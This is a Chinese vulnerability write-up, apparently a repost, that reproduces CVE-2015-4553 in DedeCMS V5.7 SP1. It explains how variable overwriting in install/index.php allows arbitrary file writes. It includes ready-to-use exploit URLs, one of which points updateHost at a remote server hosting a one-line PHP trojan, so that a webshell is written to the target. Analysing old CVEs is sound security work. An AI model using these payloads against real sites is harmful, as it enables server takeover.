DedeCMS V5.7 SP1远程任意文件写入漏洞(CVE-2015-4553)
Posted 末 初
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DedeCMS V5.7 SP1远程任意文件写入漏洞(CVE-2015-4553)相关的知识,希望对你有一定的参考价值。
文章目录
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2015-4553
CVE的描述是文件上传,其实远程任意文件写入也可理解为任意文件上传,无大碍
漏洞原因
uploads/install/index.php
中对于全局传参遍历的处理不当造成可进行变量覆盖,进而导致可远程读任意文件取并写入Shell
漏洞影响版本
<= Dedecms V5.7 SP1
的所有版本
漏洞原理分析&复现
- 本文测试版本:
DedeCMS V5.7
安装并没什么需要特别提及的地方,默认安装即可
审计源码
uploads/install/index.php
对于全局传参遍历中的可变变量
的写法$$_k
导致变量覆盖,RunMagicQuotes()
每个参数的值进行了特殊字符转义处理
PHP可变变量:https://www.php.net/manual/zh/language.variables.variable.php
继续分析
uploads/install/index.php
当$step==11
时,有一个包含文件的操作,但是包含的内容是已经写死的,无法进行远程文件包含
uploads/data/admin/config_update.php
但是仔细分析下代码就会发现,fopen($install_demo_name,'w')
和fwrite($fp,$sql_content)
处理过程中的参数全都可控(利用变量覆盖可控制这些变量的值),那么就可以控制重写的文件以及内容,$install_demo_name
为重写的文件名,file_get_contents($rmurl)
读出来的内容为重写的文件内容。
else if($step==11)
require_once('../data/admin/config_update.php');
$rmurl = $updateHost."dedecms/demodata.$s_lang.txt";
$sql_content = file_get_contents($rmurl);
$fp = fopen($install_demo_name,'w');
if(fwrite($fp,$sql_content))
echo ' <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
else
echo ' <font color="red">[×]</font> 远程获取失败';
unset($sql_content);
fclose($fp);
exit();
即可首先变量覆盖控制$s_lang
的值,传一个不存在的文件名,使得file_get_contents($rmurl)
读出来的值为空
,然后继续变量覆盖控制$install_demo_name
的值,指定为../data/admin/config_update.php
,这样就可以将config_update.php
原本的内容清空掉,使得包含的文件中没有$updateHost
的值,进而可以通过变量覆盖控制$updateHost
的值
为什么要清除掉config_update.php
中的$updateHost
的值之后才能变量覆盖?如下图,如果不清除掉包含进来的$updateHost
的值,在变量覆盖的漏洞点之后包含进来的文件没法通过变量覆盖控制包含文件中的变量。
构造payload重写清空掉../data/admin/config_update.php
的内容,注意安装成功后再访问uploads/install/index.php
会检查是否存在install/install_lock.txt
文件
利用变量覆盖直接覆盖掉$insLockfile
的值,只要是一个不存的文件就行,或者直接置空。综上所述payload如下
/install/index.php?step=11&insLockfile=&s_lang=mochu7&install_demo_name=../data/admin/config_update.php
然后即可利用变量覆盖控制到$updateHost
的值,进而控制file_get_contents($rmurl)
获取到的内容,进行远程下载,然后写入(也可以叫上传)到服务器上。
远程起一个web服务,新建一个dedecms/demodata.mochu7.txt
目录下的文件,内容为一句话木马。
PS:这里是dedecms/demodata.mochu7.txt
那么构造payload时候也要控制$s_lang
为mochu7
才可
构造payload
/install/index.php?step=11&insLockfile=&s_lang=mochu7&install_demo_name=../mochu7.php&updateHost=http://192.168.0.100/
成功写入webshell
以上是关于DedeCMS V5.7 SP1远程任意文件写入漏洞(CVE-2015-4553)的主要内容,如果未能解决你的问题,请参考以下文章
DedeCMS V5.7 SP2前台文件上传漏洞(CVE-2018-20129)